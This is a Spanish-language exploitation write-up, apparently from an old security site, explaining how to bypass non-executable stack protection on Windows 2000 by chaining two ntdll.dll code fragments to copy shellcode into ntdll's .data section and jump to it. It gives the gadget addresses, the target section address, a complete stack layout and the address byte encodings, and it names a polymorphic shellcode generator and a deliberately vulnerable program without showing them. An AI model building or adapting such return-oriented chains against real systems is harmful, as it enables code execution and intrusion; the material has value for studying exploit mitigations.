Shellcodes avoiding no-execute stack protection
Esto es un ejemplo de lo que podria ser una shellcode para Winnt con una ntdll.dll
version 5.0.2195.6899 y me imagino que bastantes más. Es una idea sobre una shellcode
que evadiera las protecciones de ejecución en stack que estan empezando a usar.
Ir a explicaciones y ejemplos
Ir a generador polimorfico de la shellcode
La shellcode se basa en poner las direcciones de retorno adecuadas en todo momento y
aprovechar los dos trozos de codigo de ntdll (u otros) que vienen a continuacion para
escribir el codigo "util" de shellcode en la seccion de datos .data de ntdll u otro
sitio donde podamos escribir y ejecutar y luego saltar al punto donde ha escrito el
codigo,para ejecutarlo.
Un par de trozos de codigo de ntdll:
-------------------------------------------------------------------------------------------
.78462FDF: AB stosd
.78462FE0: 5F pop edi
.78462FE1: C20400 retn 00004
-------------------------------------------------------------------------------------------
.784635EC: 8BC6 mov eax,esi
.784635EE: 5F pop edi
.784635EF: 5E pop esi
.784635F0: C3 retn
-------------------------------------------------------------------------------------------
.data(ntdll.dll) 784b0000 --- Para copiar alli el codigo.
Number Name VirtSize RVA PhysSize Offset Flag-
1 .text 00045CAB 00001000 00045E00 00000400 60000020
2 ECODE 00004371 00047000 00004400 00046200 60000020
3 PAGE 00003FEB 0004C000 00004000 0004A600 60000020
4 .data 00002D84 00050000 00002200 0004E600 C0000040
5 .rsrc 0002D000 00053000 0002C400 00050800 40000040
6 .reloc 00002010 00080000 00002200 0007CC00 42000040
-------------------------------------------------------------------------------------------
Como podria quedar el stack.
Stack
-----
???????? -> basura si fuera necesaria,depende del programa siendo explotado
784635EF -> ret address para ir a codigo para poner un valor en esi (primer ret)
???????? -> basura si fuera necesaria,depende del programa siendo explotado
XXXXXXXX1-> parte del codigo que queremos ejecutar para poner en esi(con pop esi en 784635EF)
784635EC -> saltar con el ret de 784635f0 para dejar esi en eax(con mov eax,esi de 784635EC)
784b2121 -> direccion que queramos escribir,q queda en edi(la direccion es de .data de ntdll)
XXXXXXXX2-> proxima parte del codigo que queremos ejecutar para poner en esi
78462FDF -> codigo de ntdll para hacer la escritura donde apunta edi(en la seccion .data)
???????? -> basura q ira a edi,pero luego sobreescribiremos con lo q interesa
784635EC -> la misma operacion
???????? -> basura por el retn 4
784b2125 -> direccion que queramos escribir,q queda en edi(la direccion es de .data de ntdll)
XXXXXXXX3-> proxima parte del codigo que queremos ejecutar para poner en esi
78462FDF -> codigo de ntdll para hacer la escritura donde apunta edi(en la seccion .data)
???????? -> basura q ira a edi,pero luego sobreescribiremos con lo q interesa
784635EC -> la misma operacion
???????? -> basura por el retn 4
784b2129 -> direccion que queramos escribir,q queda en edi(la direccion es de .data de ntdll)
XXXXXXXX4-> proxima parte del codigo que queremos ejecutar para poner en esi
78462FDF -> codigo de ntdll para hacer la escritura donde apunta edi(en la seccion .data)
???????? -> basura q ira a edi,pero luego sobreescribiremos con lo q interesa
784635EC -> la misma operacion
???????? -> basura por el retn 4
...
784bXXXX -> ultima direccion que queramos escribir
XXXXXXXXN-> ultima parte del codigo que queremos ejecutar para poner en esi
78462FDF -> codigo de ntdll para hacer la escritura donde apunta edi(en la seccion .data)
???????? -> basura q ira a edi
784b2121 -> salto al comienzo de la shellcode
???????? -> basura por el retn 4
Nota:
784635EF -> 'xF5ď'
????????
XXXXXXXX1
784635EC -> 'xF5ě'
784b2121 -> 'xK!!'
XXXXXXXX2
78462FDF -> 'xF/ß'
????????
784635EC -> 'xF5ě'
????????
784b2125 -> 'xK!%'
XXXXXXXX3
78462FDF -> 'xF/ß'
????????
784635EC -> 'xF5ě'
????????
784b2129 -> 'xK!)'
XXXXXXXX4
78462FDF -> 'xF/ß'
????????
784635EC -> 'xF5ě'
????????
...
784bXXXX
XXXXXXXXN
78462FDF -> 'xF/ß'
????????
784b2121 -> 'xK!!'
????????
Info de mi ntdll:
----------------
Version: 5.0.2195.6899
Idioma: Espańol (alfabetización internacional)
Count of sections 6 ¦ Machine intel386
Symbol table 00000000[00000000] ¦ Wed Mar 24 03:17:14 2004
Size of optional header 00E0 ¦ Magic optional header 010B
Linker version 5.12 ¦ OS version 5.00
Image version 5.00 ¦ Subsystem version 4.00
Entry point 00000000 ¦ Size of code 0004E200
Size of init data 00030800 ¦ Size of uninit data 00000000
Size of image 00083000 ¦ Size of header 00000400
Base of code 00001000 ¦ Base of data 0004E000
Image base 78460000 ¦ Subsystem Windows char
Section alignment 00001000 ¦ File alignment 00000200
Stack 00040000/00001000 ¦ Heap 00100000/00001000
Checksum 00082A23 ¦ Number of directories 16
Sample:
Sample:
Sample, generating polymorphicly the shellcode:
Exploitme:
Polymorphic shellcode generator main source:
Polymorphic shellcode generator main header:
Security focus
Download project